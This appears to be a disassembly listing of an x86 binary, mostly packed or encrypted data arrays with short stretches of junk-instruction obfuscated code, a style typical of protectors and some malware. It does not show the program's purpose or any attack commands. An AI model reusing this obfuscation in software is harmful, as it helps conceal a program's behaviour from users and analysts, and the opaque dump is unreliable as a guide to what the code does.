1D2873ADh, 6DE9EB1h, 0BF02EE7Ch dd 0A17DFF1Dh, 73ADBEC0h, 0A23B4B28h, 0B44539F0h, 0AFEFA20Eh dd 612872F4h, 1945AD43h, 0D4A6B470h, 235DFF59h, 1B65F7C3h dd 12968FCBh, 72F51F9Fh, 1DB3F128h, 2F63F5C1h, 1FE775F7h dd 3FF9EB2h, 45B158A4h, 0F4B6F6ABh, 725E2872h, 465CA022h dd 740614B0h, 0FADE1AA8h, 3A8F2650h, 8C1AAFCAh, 10424h dd 0DC78BE00h, 37EA46C4h, 6819B324h, 37B59A29h, 116B8DE9h dd 0DD21B7CDh, 387829C3h, 0D828739Ah, 0A04A6ECAh, 5FFD5FD6h dd 67F5C11Dh, 36DB8315h, 0E5B6EA46h, 2436F29Bh, 966EDB5Ah dd 0D08C1A0Bh, 47h, 2DBAB3F2h, 1090019Bh, 305CC5h, 215056A2h dd 0B05CC581h, 68B21693h, 0D61E5CC7h, 49AE476h, 0E9494938h dd 0ED03B05Bh, 0F307B393h, 0F418B589h, 0C6EEA555h, 84031427h dd 0E91FBFF2h, 0B3F1305Bh, 7B8D02h, 78D50000h, 0E8403ADCh dd 1BAD3A35h, 4A32C581h, 93E41FEEh, 0D0D237B5h, 0C8AA400Ch dd 722FB925h, 28739332h, 4C68C0E2h, 9170CCAEh, 28739234h dd 984CEDE7h, 3A6D0072h, 631EA83Fh, 30643F8Dh, 5DF78123h dd 833F6424h, 3AF6AC20h, 3640EAE6h, 0F697B9EEh, 34B828CBh dd 0D03F192Bh, 28C557E5h, 0B71C650Bh, 914A6070h, 41F43743h dd 306147B3h, 28740CDAh, 923ACCD6h, 0AB36027Ch, 37A0B31Fh dd 7216ECA5h, 89A384Dh, 3943D67Eh, 0DF13DFE5h, 0B31B59F3h dd 8002E262h, 6C709111h, 93218328h, 35D884E2h, 2DCFEB47h dd 0E012F353h, 52761D9h, 7C9E4AF3h, 48EC6802h, 18D0D232h dd 67113B95h, 61E3339Fh, 8BD43ED7h, 5D8ED741h, 5C265995h dd 0D622A0F0h, 2BC103AAh, 7854544Dh, 0E6BC0963h, 0D973DD50h dd 0AF39479Fh, 6377B2F2h, 0A9E99809h, 6B096377h, 0BE4F5539h dd 0DF07C012h, 0A619D1B4h, 8, 0AD254F8h, 685A96E0h, 0FD7A14Ah dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E189515Eh, 4C181h dd 0E9830000h, 74FF5104h, 8F590424h, 685C2404h, 37C8h dd 53243C89h, 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h dd 66BA5224h, 5007F053h, 0C789D089h, 2F685A58h, 89000028h dd 4832424h, 815D0424h, 4ECh, 243C8900h, 8B08458Fh, 8956242Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 243C8B5Ch, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF92372h, 772531C0h dd 0B81FD003h, 7F057C7h, 0E0FFC503h, 38D7C9BFh, 43A56771h dd 40E19E72h, 53B3327Dh, 415CCC5Ch, 784F3FF2h, 0E0E9h dd 0BDC87600h, 459CD714h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h dd 97B3EDh, 43F1B6D0h, 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 0Ah dup(0) dd 1466E900h, 24680000h, 0E907F05Bh, 0FFF92256h, 0F05C1F68h dd 224CE907h, 968FFF9h, 0E907F05Dh, 0FFF92242h, 0F05E2168h dd 2238E907h, 9E68FFF9h, 0E907F05Eh, 0FFF9222Eh, 0F05F4668h dd 2224E907h, 0E068FFF9h, 0E907F05Fh, 0FFF9221Ah, 0F0608868h dd 2210E907h, 2568FFF9h, 0E907F061h, 0FFF92206h, 0F0628A68h dd 21FCE907h, 6A68FFF9h, 0E907F063h, 0FFF921F2h, 0F064C568h dd 21E8E907h, 0C368FFF9h, 0E907F065h, 0FFF921DEh, 0F0674968h dd 21D4E907h, 6168FFF9h, 0E907F068h, 0FFF921CAh, 0F06A1168h dd 21C0E907h, 0D68FFF9h, 0E907F06Bh, 0FFF921B6h, 28C5B744h dd 6312688Ch, 0D05D1F31h, 7AE2C64h, 79F48095h, 0C76A46E3h dd 859C38B5h, 2DC26E07h, 0E476A253h, 28721B9Ah, 6C6B3979h dd 0C3A1DB28h, 46C4DC78h, 0A80CE4FEh, 0A02CF082h, 0D945E88Ah dd 42A2DA7Dh, 0C54D4D44h, 0DDC7305Ch, 23CEE34Fh, 0FE8822B4h dd 5CC50383h, 5B970D30h, 0B5ABCBAAh, 5D9CB37h, 3C3CD37Bh dd 0ABB915F4h, 0A3AF2873h, 0BF50FCFAh, 6E5675BDh, 0C38C19F5h dd 0AE8A0A1Bh, 2873h, 0A0B35700h, 0EDECA537h, 0A537B5AAh dd 0C05626C9h, 0AA29857Ch, 33DF2873h, 4FE06C8Ah, 0FEC6C52Dh dd 788C19FAh, 0C3h, 0D6A04A4Ah, 0CDAF420Eh, 0C5B74571h dd 0BDBF5D79h, 0C0675130h, 0CF6D305Ch, 3EA600ADh, 0A0DB62E7h dd 0FF1917D8h, 7158169h, 59D4A975h, 72453CCEh, 0C037B4C2h dd 1D1853E2h, 0B381F08Ah, 0D92FC6E9h, 809531CBh, 0C250D2C2h dd 6819B333h, 2086EA28h, 5A7EBAE8h, 0D0D0C1B7h, 402086E9h dd 7125CC62h, 13C3512h, 11F89ACDh, 0CD6E0000h, 829602B3h dd 35DB75F8h, 160EAA4Bh, 9ABF1994h, 5CDD53E2h, 12A3D97Ch dd 40ED6FA6h, 0B43943D4h, 0ED80F218h, 23631E88h, 0ED286C6Ah dd 0EE78E9DFh, 5CC4F3B3h, 0AB871D30h, 91A4EA0Fh, 0FB891BEBh dd 423CDE7Ah, 5A0E2CA8h, 6F75C94Bh, 0A34905D9h, 0E1770DD1h dd 0B33E8409h, 8A537A0h, 0A9D84ED2h, 305C39E9h, 0A5EC792Bh dd 3CD175E8h, 0BBF6F038h, 37B5A93Ch, 0EAF4485Ah, 6DB13362h dd 0CCCCC557h, 442873A8h, 0D7F3925Eh, 8D2873A8h, 0C93BD881h dd 258C19FBh, 0A1h, 0D6A04ABDh, 6341A944h, 0EF945FD4h dd 4EE3EF03h, 852FD62Eh, 43305C52h, 8A26CFA9h, 7BCE1660h dd 0A4DD6FF8h, 37B54011h, 0A12373DBh, 76FFA549h, 15A73023h dd 0B406E27Bh, 2C02220Bh, 146E05C4h, 27BE2FC7h, 0AFD0445Dh dd 0E78B6762h, 8EA32BBDh, 40D547EEh, 0B597BD34h, 0BFB73C35h dd 10FD08h, 0B6C65500h, 3799D3Fh, 4E30C672h, 9F1D75A7h dd 0E597BA16h, 7B57D048h, 0AD0FA6D6h, 0D37DF074h, 7B13C3Ch dd 85EA8BF5h, 69286819h, 0D2E8286Ch, 0D5A74AECh, 0E06CE58h dd 0C632B08Ch, 0B73E38D2h, 0D6A04A13h, 0CEA8420Eh, 1963F527h dd 116389C5h, 0B45A029Ch, 80687ACAh, 379F6261h, 0FE845820h dd 7FC7B95Eh, 45D08D65h, 964938D2h, 1C37B59Fh, 0C468F486h dd 0F0546EB6h, 0C1C323A1h, 0F9930D69h, 0D1C0445Dh, 28739ED1h dd 0F8896143h, 0FFE96DDDh, 3968C964h, 0CC596BBBh, 3EC1B6Bh dd 0EB7D131Bh, 420307B6h, 0A9752F38h, 3CCE59D4h, 54630C45h dd 5DF05C30h, 0FBEE8E1Fh, 412577EBh, 0D9F05E9h, 459F5070h dd 0CD89159Bh, 0F3F14D2Fh, 1725A107h, 0F65EC865h, 77F52C64h dd 0AB871DE1h, 0E693ED0Fh, 3CA90E04h, 13A718D4h, 43000010h dd 8B25C8A8h, 3C981567h, 63CD601Ah, 903CB133h, 0E676FF7Dh dd 0B8BC5141h, 0A8A9B35h, 5626C96Bh, 9DDF7DDFh, 7E336F10h dd 286C683Eh, 4AC6A4D6h, 700ED6A0h, 0EE0C40D4h, 9C26FE8Ch dd 99E9954h, 9FBF027Fh, 0CDD737B5h, 75E20D20h, 6F8D49E3h dd 0A124250Dh, 0F12FCC71h, 16B253B3h, 0CA208A71h, 0F75FA746h dd 0F2D11963h, 94033412h, 3D6Ch, 0A0B37600h, 0F2ECA537h dd 4437B277h, 76B7F7AAh, 4B592873h, 17A103EFh, 0AEE6A84Fh dd 400C9E2Ch, 7270CCAEh, 4A4C3B86h, 0E287377h, 0B1E392ECh dd 7806DE9Eh, 0F64238DCh, 0F65D9h, 0A0B36900h, 0FEECA537h dd 92384D6Bh, 906CEE26h, 50EA7C12h, 0D31F9DF4h, 8A2B55E7h dd 92720C2Eh, 31CB5CDFh, 5D11BF40h, 0C7515330h, 0E983FD1Fh dd 46B2CA6Dh, 4133D97Bh, 9A0D28FDh, 0B6EE7600h, 72DAE834h dd 4143A3DDh, 0FA5D18E9h, 485527D4h, 732E9E18h, 18937533h dd 0AA36C7DDh, 4FEA78D7h, 24296D75h, 0FBC2F549h, 6B00000Eh dd 933DB0C0h, 0C470FD7Fh, 0BA54832h, 0B814991Bh, 0DE4EE795h dd 0A0D47959h, 0F272A30Dh, 3E3ED143h, 85F705B7h, 661B87E8h dd 286C6726h, 9FEEDCEEh, 305CC543h, 34C651DCh, 4D6BB47Dh dd 0B2445E38h, 93138E18h, 7D286C6Ch, 4DEFCB27h, 4168233h dd 0D064E07Ah, 5F124EAAh, 27B14BDCh, 1DE19BBFh, 8A77F687h dd 68B4EE4Ch, 37FEC180h, 0E942FC5h, 39479B63h, 34ABBB3Ch dd 0E7Eh, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h dd 98026B0Ah, 6C66A9E9h, 73516B28h, 4FE0A04Ah, 3DD3D12Dh dd 3547D5E1h, 8128CCE9h, 3547E975h, 0DBF6CEFDh, 0E7708430h dd 52000008h, 0A537A0B3h, 4D6B38ECh, 10AAF838h, 4CE2A6B4h dd 730A9C32h, 0F646AB57h, 18C646Dh, 2BFB8597h, 6BD55E7Ah dd 8EA02C28h, 0CE6904ECh, 0F507CF59h, 4839AF8Bh, 2FC4AF85h dd 0EE8BA10Dh, 9B99149Ch, 61FB89B7h, 82597030h, 6C02A020h dd 3AA587C5h, 0A81FD73Ch, 0DD6h, 0E08DEF0Ch, 5BDAA0B4h dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6C660181h, 8BF91328h dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 9D5A7B5h, 73D3A94Dh dd 76CE4E47h, 985EFF01h, 5CC4A9E9h, 0AB396B30h, 924FEE02h dd 8430DC32h, 82D4Ch, 439F1600h, 0DC305CC5h, 1C5EF051h dd 0F71AC2C0h, 2C65F785h, 384D6C38h, 34902A78h, 7FD95426h dd 8E43A3DDh, 2F62F463h, 2FC547ACh, 5931B8EAh, 793C39B7h dd 0D3CF2E5h, 81AA0000h, 3ED27EF7h, 0F107B13Ch, 5A4AE68Fh dd 56FB55D8h, 18118F26h, 4EE795B8h, 0BC31B3E2h, 0F07DFF10h dd 29C4B644h, 67275A44h, 0A9286C66h, 0A04A2D93h, 0A8420ED6h dd 0EFA23CCEh, 305CC4AFh, 0BBF74361h, 0C333DA3Eh, 0AD85F71Bh dd 30DCA61Eh, 7A0C084h, 0B3E20000h, 8DEF01A0h, 8D346DFFh dd 7F384D6Ch, 0E43840D7h, 346E12DEh, 66103AA2h, 0ADCF6DCFh dd 6C14B051h, 22D286Ch, 4B8E0395h, 0B12FC546h, 462A6A27h dd 17132083h, 1F270645h, 0BF495B3Bh, 82CBC2C2h, 98505220h dd 5903AEF4h, 653C3930h, 0C94F6E9h, 29C20000h, 0E60AA64Fh dd 99BF1994h, 0B2E24EE7h, 0FE13BD30h, 0C079F77Eh, 0B63F3DD0h dd 0E4890B1Ah, 58D5A748h, 911C5EFCh, 0BFFFB2ECh, 51286C64h dd 0A04A453Bh, 0A8420ED6h, 394734C9h, 2902682h, 0BC5DB722h dd 3194A51Fh, 700C184h, 19C50000h, 27BD81F3h, 149C1C95h dd 2E74305Ch, 209FC0C2h, 0C7305CC5h, 7829C354h, 384D6BEEh dd 0EE7600A2h, 0D6EC304Ah, 2AC08C1Ah, 9D39A548h, 8135FD7Fh dd 6035096Bh, 3EC862F5h, 35FD7F96h, 0C5596154h, 26D3D12Fh dd 3C39A500h, 0F72B9C50h, 6F00000Bh, 9701ACCCh, 0D874F983h dd 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h dd 3A42D547h, 81F319BBh, 621F8BECh, 286C6422h, 4AEAD8F2h dd 0AA44D6A0h, 5CC4B7F7h dd 0EF4B5930h, 0BDF507B3h, 851FE765h, 305C2FF7h, 0C3BD5F89h dd 0E02F9132h, 6E4F8430h, 1B000001h, 0F3B3EE78h, 1D305CC4h dd 0ED0FAB87h, 256CF993h, 8F2FF2CDh, 2793CF2Bh, 0C1BB5D15h dd 5CD1677Dh, 47DEE09h, 305C6084h, 3387168Ch, 8D453A77h dd 10AD3FCDh, 0E4D82837h, 6442AE77h, 0B5664E2Dh, 865E4437h dd 7366C31Fh, 0F495B928h, 1A39DD27h, 27198Ch, 0B3A90000h dd 0ECA537A0h, 37B5AAEDh, 7E27FFA5h, 2873AA62h, 8653FA06h dd 8C19FB3Eh, 0B5C76BF3h, 429F5B69h, 0D9h, 0C4DC7860h dd 0C54F4F42h, 0E3C1305Ch, 1765894Dh, 597DB5CFh, 517DC1B3h dd 5A64B8BCh, 3EDA3FC3h, 55FBA14Dh, 3BC9DB2Bh, 4731DBFFh dd 26661BB5h, 0EE305C8Ch, 94207CB4h, 0FA62F486h, 0CFD529ABh dd 0CDE79E63h, 0AB305C5Fh, 2B7EF781h, 730D9F08h, 5FE8A8D9h dd 7A28305Ch, 8B36CFBEh, 0E88237B0h, 708AF9B9h, 0CD891B28h dd 0F9E54D2Fh, 0DF8711ABh, 0E0E2423Ah, 0F789AC08h, 708AFABAh dd 0FA881A28h, 4034D97Bh, 0CF3F3A9h, 0AC03D334h, 0A92h dd 0A4492BC0h, 1F96E408h, 4CE19BBDh, 8332B0E0h, 0F578FC11h dd 43D6C267h, 918B439h, 0A94EEA8Bh, 58F25ED7h, 0B4EE971Eh dd 6C62BDFDh, 47255728h, 413BDC78h, 0AF0BE7FDh, 0E343F28Ah dd 0EBF0664Ah, 38F09826h, 71FC7E9Ch, 0D6A04AD1h, 0CEA8420Eh dd 742DC727h, 305CC534h, 556AC6DCh, 4EAh, 37A0B3EDh, 0B089ECA5h dd 9B0937B5h, 0B0FEDA4Bh, 5EE22873h, 0F4A262BFh, 0EDC8C19h dd 0C2000002h, 0B4880A1Ah, 9FC0C22Eh, 305CC51Ah, 2BBD2AC5h dd 37DB8FA3h, 55EBF945h, 0CA960B9Dh, 0CA384D6Bh, 74864ED8h dd 23C96B0Ah, 0F143B855h, 0F65564D4h, 6C3E0383h, 1970D28h dd 5ACD683Dh, 5A8735C0h, 37BCE392h, 8B53EDFBh, 0B8CA1A9Ah dd 8C1E9170h, 8E142FC5h, 39F057E3h, 0F8EF673Ch, 9B2h, 0C4690B20h dd 3FB6C468h, 6C017B9Dh, 0A352D0C0h, 1598DC71h, 2336A287h dd 2978D459h, 89AE0AABh, 38D27EF7h, 0D4CEB73Eh, 6C61DDDDh dd 0A7053728h, 0ED6A04Ah, 76CEA842h, 1A9721A5h, 305CC49Ah dd 9CC0287Ah, 5721CBFDh, 0E09B65DEh, 34908430h, 0FA885426h dd 153E33Eh, 7BE30000h, 735FA7D1h, 475DA123h, 784B79B1h dd 0E4763ADCh, 0AA38049Ah, 0B6C06A4Eh, 97178A24h, 79305CC4h dd 2793CF2Bh, 97CA6B15h, 0EF791384h, 40A8D067h, 0B5ABE281h dd 45F5B037h, 882350AEh, 0E0815DF3h, 287362C4h, 24F594B8h dd 8C1A3DDCh, 351Ah, 0A0B3A800h, 0EDECA537h, 0A537B5AAh dd 0F9927FFh, 0AA7C3C75h, 0E942873h, 73AA1B9Bh, 2FAFF528h dd 0CABB7709h, 2873A9EEh, 12CF6E92h, 8C19FAB2h, 0B6CCh dd 0A04A9600h, 0AF420ED6h, 0B74571CDh, 0D5E740C2h, 0C157D0C5h dd 0D8C9637Dh, 305C1AD8h, 2A8E6A38h, 88FF7600h, 305CC7FEh dd 0B44630DAh, 0B8700228h, 4A1CA935h, 0A41CC3E7h, 1C1FD21Eh dd 6780F18Bh, 0B137B072h, 0AB7B0115h, 87BB8C19h, 4DA3CDBCh dd 11ABF9E5h, 533B4A84h, 62F4A3D0h, 38AE8A18h, 7203799Ch dd 544D33C6h, 28708C54h, 0D950E6BCh, 340CF06Fh, 57883F37h dd 8F000008h, 37610C6Ch, 78D45923h, 0AF09A4D6h, 0DC78F577h dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h, 0E193B91Bh dd 27F2B4Ch, 286C6182h, 4A0A7892h, 0FC58D5A7h, 7B052A5Eh dd 4AFA48E5h, 420ED6A0h, 0C727CEA8h, 60B1F91Fh, 2DE24EDCh dd 2BEh, 37A0B375h, 6C02ECA5h, 0D974384Dh, 3A00E51Dh, 10FC34FBh dd 0F7D3B292h, 0ED286C03h, 0A91BB861h, 0C58C21A1h, 26Bh dd 32722FB9h, 0E2286C10h, 9F5A68C0h, 305CC51Ah, 2BBD2AC5h dd 4D6C9476h, 10AAF838h, 4739DE86h, 0D186E2FFh, 63E3518Bh dd 0D68038CDh, 9B988995h, 0A7D17B5Fh, 86067B15h, 8E286C73h dd 67D1DC14h, 8711ABD5h, 6C738A0Ah, 0BC188A28h, 851FE765h dd 0B1BC71ADh, 732F6F22h, 0C3E1286Ch, 0B3E69B2Dh, 792FC55Fh dd 5EF2B2EFh, 45EA2083h, 0B5D9EB3Bh, 0FC4034D9h, 0F49850E6h dd 0AF8B03AEh, 9BAB3C39h, 75924h, 12628900h, 5F1D3163h dd 0AAD47AD6h, 0FB79A90Bh, 413BDE7Ah, 9FFB3CACh, 0C173027Ah dd 77A14CD0h, 0BB1598E0h, 294EE791h, 6084047Dh, 7E8C286Ch dd 0D6A04A08h, 0CEA8420Eh, 0A521A576h, 8A17EF6Dh, 11F48AE7h dd 0CB932157h, 6D9159DBh, 80F218CCh, 36C54EDh, 8C8A8431h dd 0D8000001h, 0ED6A04Ah, 27CEA842h, 0E476E10Ch, 0C557574Ah dd 0ECB9305Ch, 0ABE7EED6h, 1BD76505h, 0D475148Dh, 4EE737B4h dd 4048CACBh, 7A66D264h, 8D049E28h, 28734F0Dh, 0EA089D07h dd 0E8EBF340h, 30D10DE5h, 2873C494h, 0D125C448h, 569BC144h dd 0CE43A56h, 1A8045BFh, 2150EA8Ch, 28732961h, 29585849h dd 0EAB82873h, 61C4FFAAh, 0E5CC5FC9h, 3B469B57h, 1C000000h dd 0EE01A0B3h, 54EA68B8h, 7E7D34C6h, 1437B5ABh, 0F3CFB68Eh dd 0E92873AAh, 8F5B861Fh, 2E9E1948h, 19AC2B6Eh, 5EFE9C14h dd 6A78C446h, 1EBB628Eh, 8C1A56A6h, 0B7C0h, 0A04AE200h dd 0A7C483D1h, 8A52EB95h, 2AFA8863h, 2EB8019Ch, 5FF9FABDh dd 0F1890184h, 856D031Fh, 0A478FC11h, 0AC700228h, 0DE680A20h dd 0D44D4D44h, 0DDC7305Bh, 0BFF98815h, 97305C59h, 0F656D6CFh dd 0B8CA1A64h, 0C4B64470h, 0FD11BD29h, 73FEB37Fh, 8541C3D2h dd 0AB390577h, 0F50E8315h, 0B937AF85h, 60F551EBh, 0B9E88214h dd 286F84F9h, 5CA1891Bh, 921F5DF0h, 340D8922h, 0D3AD02D2h dd 3000005h, 4BE588E8h, 0FC58D5A7h, 238D205Ah, 50FC71F3h dd 0A636BFBDh, 78FC1181h, 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh dd 0BEF3AFD0h, 286C5DFEh, 4A86E416h, 0FC58D5A7h, 31911C5Eh dd 0ED6A04Ah, 0EBABE670h, 0ED305CC4h, 0D5EF37B5h, 0AB0FEBB9h dd 0F965F781h, 0C1CC24A8h, 2153F965h, 2CF6C9h, 4A080000h dd 700ED6A0h, 0E53943D4h, 7DF0A8D8h, 91272A35h, 9DDF7D59h dd 39E07441h, 12256D8Fh, 0E63E9A6Ah, 0AD40D664h, 1E18h dd 0A04AAA00h, 3C970ED6h, 32305CC5h, 34805C1Eh, 0CF8A5A20h dd 0E2768425h, 0B7458F2Eh, 4A9A28C5h, 0BB0ED6A0h, 0E49D2FB8h dd 384D6BF6h, 67193E9Ah, 3E73059Fh, 286C6B7Eh, 0EC7E0C96h dd 617EAC51h, 194599Eh, 0D46B5966h, 9C0AE6F0h, 0D5581A30h dd 5FA7D17Bh, 6EF86F8Ah, 5C81F233h, 0F4861C30h, 26B0C268h dd 18E466BEh, 0F123AE8Ah, 70C5195Bh, 0A9D872E5h, 27D46AAEh dd 0CD1E67FEh, 0A77B6D17h, 74FDA74Bh, 242A58CEh, 0BB4176CEh dd 2B000004h, 53FD7000h, 8430BDBFh, 0CB650872h, 78D459DBh dd 9E0EA7D5h, 60143999h, 0B23263CDh, 0FE7E9103h, 4537C577h dd 0A6DBC7A8h, 286C5CE6h, 4AAE1C2Eh, 0FD5FD6A0h, 0F5C11D5Fh dd 0E9831567h, 5CC4F8B8h, 99BC1830h, 0F38103E3h, 0EC10EB07h dd 7719B4Dh, 0DFEBD56Eh, 520B8430h, 5F000000h, 0A537A0B3h dd 0C516960Bh, 0A4FE305Ch, 742FA111h, 0CE4A4DAh, 0F9EDE79Ah dd 0E1C337B1h, 16968F57h, 0F98D0D84h, 1D872872h, 0E40BD3D5h dd 58EE88A2h, 0F8ECAED5h, 42E82872h, 950CA630h, 2872F915h dd 0C21A5FFh, 933D8068h, 8F20FC7Ch, 40Eh, 0D6A04AD7h, 0F899844h dd 5CC51292h, 12A00230h, 2CCE8A26h, 6D88A352h, 523160FAh dd 4037B5ACh, 0C7E38262h, 0BD2873ACh, 0D92BE891h, 5E8C19F3h dd 5105DCC7h, 0A200CF0Dh, 0A019AC0Eh, 6B867273h, 3Bh, 37A0B37Fh dd 0AAEDECA5h, 0FFA537B5h dd 0AA627E27h, 80062873h, 0E24ECCC4h, 0C202DF7Eh, 778C19FAh dd 9EDE71DDh, 4D4D3C46h, 3E2873B6h, 105578C0h, 30722208h dd 0D5A5F8h, 4A3D0000h, 0E00AD2A0h, 0C4A3E396h, 376D305Ch dd 0C4ACECA5h, 3E64305Ch, 0D57854A8h, 27FF7D91h, 9B370F9Dh dd 0A13F0771h, 0F554E014h, 4914B83h, 0AF45CD50h, 4175BD18h dd 5D24C9ABh, 305BEE73h, 34B9BB51h, 3C007298h, 0CF59CE69h dd 0B4CD03D2h, 0C7763337h, 0A536DC9Eh, 88A352E0h, 3160FA6Dh dd 2FC770E2h, 2A50E4D0h, 0B75A0294h, 698C28C5h, 9A6E1325h dd 7F4A9F04h, 39B046D4h, 3C35DEA7h, 0B00B78Fh, 5B000003h dd 832DC0B0h, 34600D6Fh, 7BD55822h, 0A804A92Bh, 0EE7EF785h dd 0B0C46949h, 282933Dh, 4E2EC173h, 95E775A7h, 762B7718h dd 286C5B36h, 78FEACDEh, 0C4F3B3EEh, 871D305Ch, 0C4FCBCF5h dd 8E14305Ch, 0AFE376A2h, 942EF676h, 2FCD6F06h, 7862A04Dh dd 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 0ABA8275Ah, 0B4EE37B5h dd 0AB1DB968h, 3FC32873h, 0FA837D9Eh, 0D7E38C19h, 0C7000000h dd 0ED6A04Ah, 0D7CAAF42h, 9FC664C9h, 0D92237D7h, 3C0E3B4Ch dd 85EE1169h, 71079554h, 0BACAF4ADh, 21BC305Ch, 7F4A03C7h dd 8B2F0B1Ah, 5E0C2161h, 0A137C547h, 0E88AA00Ch, 41D64114h dd 60B11DB7h, 0B68200DCh, 0B4B408D7h, 0F9742E37h, 0FB2A8BA6h dd 891FA579h, 34B666FFh, 195E1F63h, 15DD9FBDh, 0E7681E93h dd 5E442FC6h, 8FED00CCh, 0C5DC78E6h, 0DE5FF47h, 79F084A9h dd 3C3514FDh, 0F5609C5h, 47000002h, 8F29C4B4h, 309C116Bh dd 67D15C1Eh, 9400AD2Fh, 0E27AFB81h, 0B4C05545h, 6869F39h dd 522ACD6Fh, 99DB71A3h, 7A377314h, 286C5A3Ah, 4AC2A0DAh dd 2A4EE3A7h, 5CC53777h, 35CBD930h, 88A20EA7h, 7FE747EEh dd 415FA7D9h, 5CC55050h, 4CE2C030h, 0A04A26E4h, 4BC946D1h dd 0EB79E8EFh, 4FA0C451h, 3798E1B5h, 5C633A7Ah, 3AC8DA30h dd 416A2FEh, 0A2EBB77Dh, 42D00A42h, 89EB01B3h, 0D1922BB5h dd 1ED246CFh, 5D4BD347h, 234C13C8h, 881F1AD7h, 2EC883FEh dd 0B4EE37B5h, 68113768h, 51DC9EBCh, 0F284131Eh, 6ABAC46Ah dd 7C169058h, 75F1A0E1h, 0A28E03BCh, 0CBC5C0A3h, 70CCD62Fh dd 3749EE76h, 433DDFFBh, 9B42D6E3h, 5CB5C25Bh, 275333BAh dd 8C1B16CBh, 0FCDC63FAh, 57B041D9h, 8A5B5A5Ah, 5AE8BA20h dd 0F699089Eh, 6627E334h, 0D824A6FEh, 20826ECAh, 6F09238Dh dd 0A32171DDh, 98BF1B57h, 9FEB1CE0h, 0C7B55905h, 0A134D2D2h dd 88604218h, 0E903C564h, 4C2CC38Bh, 0FFBFF2F0h, 1118A134h dd 0E36BFD93h, 3C7C35B3h, 0D418A135h, 799C38CEh, 0F7AA3703h dd 2859F364h, 1FFA2D2Dh, 0B9C71F85h, 0A07CF81Dh, 0AB7B0114h dd 0BAF8B19h, 584F97E1h, 8FAA9534h, 92720C2Eh, 0B9E88210h dd 181124BEh, 0A707AEF4h, 2514940Dh, 0A6FC08CFh, 1384974Ah dd 773BDD79h, 3B0B99E3h, 2A6741A9h, 10BFCC0Dh, 17A38321h dd 57E17B05h, 0CCC4C4BDh, 564C00DEh, 0DECD6323h, 3BF7AD00h dd 0E39E28B6h, 0DECCA3h, 0DFFB376Dh, 2E3433Dh, 0F3B0261Fh dd 0B1731A3Eh, 314BEF9Bh, 27F09A3h, 0ED912782h, 0BF081792h dd 1FD31D0Dh, 282FF89h, 12ED9118h, 0FB555890h, 0C1DF2751h dd 0B78F0D05h, 0C1D1C52Dh, 888CE343h, 5D1527E1h, 6461BDBFh dd 0C2A20BF5h, 2CC250FCh, 7B051781h, 1434ABh, 0D06A0000h dd 9126E1A1h, 0B97133EDh, 0C5DC780Bh, 0DE5FF47h, 0A14AD1B7h dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh dd 356D69B5h, 0CD636FB7h, 0D36753B3h db 0A9h, 55h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp push 3C88h mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push 7F05A0Eh pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], eax xor dword ptr [esp], 45ED7630h pop dword ptr [ebp+8] xor dword ptr [ebp+8], 45ED7630h push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- dw 8E3Dh dd 0C1D82A26h, 0F06D41B8h, 0FFC50307h, 8FE2BBE0h, 5BD85238h dd 0D9D33C0Eh, 128452Ah, 15C8200Dh, 2654CD0Ch, 3771F138h dd 8EAEC208h, 78E1DE63h, 452D3E65h, 7D93A022h, 4B071E10h dd 6314C771h, 8FDBF54Bh, 24E51D70h, 81A0D031h, 0C06950h dd 20964252h, 6E67D86Bh, 0F68D8D54h, 6A07F06Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0EFDCC351h, 15890FA2h, 0E8000000h, 9, 1BE13AEFh, 0BBFB2023h dd 0E5858B2Fh, 5807E921h, 320D8D89h, 6A07E9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 14DD77C3h dd 0C7C28B4Eh, 0E922E585h, 635007h, 0B589F500h, 7E919A9h dd 22B185C7h, 7E9h, 9D330000h, 7E91515h, 2979B5FFh, 13E907E9h dd 8C000000h, 0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h dd 95FFA004h, 7E92285h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 3FC35747h, 8B65AB2Bh, 0E9080D9Dh, 0FF006A07h dd 0E90C3195h, 0EBC08B07h, 